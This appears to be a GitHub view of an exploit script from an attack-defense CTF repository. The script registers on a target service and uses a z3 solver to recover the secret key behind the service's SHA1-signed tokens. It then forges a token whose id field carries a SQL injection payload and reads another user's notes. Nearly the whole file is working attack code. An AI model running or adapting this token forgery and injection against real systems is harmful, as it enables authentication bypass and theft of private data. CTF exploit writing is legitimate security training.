generated from C4T-BuT-S4D/ad-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsploit.py
81 lines (61 loc) · 1.92 KB
/
sploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from checklib import *
from sha1 import Sha1
import struct
from binascii import unhexlify, hexlify
import json
import sys
import z3
HOST = sys.argv[1]
HINT = sys.argv[2]
def main():
# h = Sha1()
# h.update(b'a' * 64)
# h.update(b'{"id": "hui"}')
# target_values = h.digest_values()
#
# h = Sha1()
#
# solv = z3.Solver()
# values = [z3.BitVec(f"v{i}", 32) for i in range(16)]
# h.update_values(values)
# h.size += 64
# h.update(b'{"id": "hui"}')
# values = h.digest_values()
#
# for a, b in zip(values, target_values):
# solv.add(a == b)
# print(solv.check())
url = f"http://{HOST}:2112"
session = get_initialized_session()
username = rnd_username()
password = rnd_password()
token = session.post(f"{url}/api/register", json={
"username": username,
"password": password,
}).json()["message"]["token"]
token_payload, signature = map(unhexlify, token.split("."))
target_values = struct.unpack(">5I", signature)
h = Sha1()
solv = z3.Solver()
secret_key_values = [z3.BitVec(f"v{i}", 64) for i in range(16)]
h.update_values(secret_key_values)
h.size += 64
h.update(token_payload)
values = h.digest_values()
for v in secret_key_values:
solv.add(0 <= v)
solv.add(v < 2 ** 32)
for a, b in zip(values, target_values):
solv.add(a == b)
assert solv.check() == z3.sat
secret_key = struct.pack(">16I", *[solv.model()[v].as_long() for v in secret_key_values])
assert Sha1(secret_key + token_payload).digest() == signature
payload = json.dumps({
"id": f"' union select text from notes where id = '{HINT}"
}).encode()
new_token = f"{payload.hex()}.{Sha1(secret_key + payload).digest().hex()}"
print(session.get(f"{url}/api/notes", headers={
"Authorization": f"Bearer {new_token}",
}).json())
if __name__ == "__main__":
main()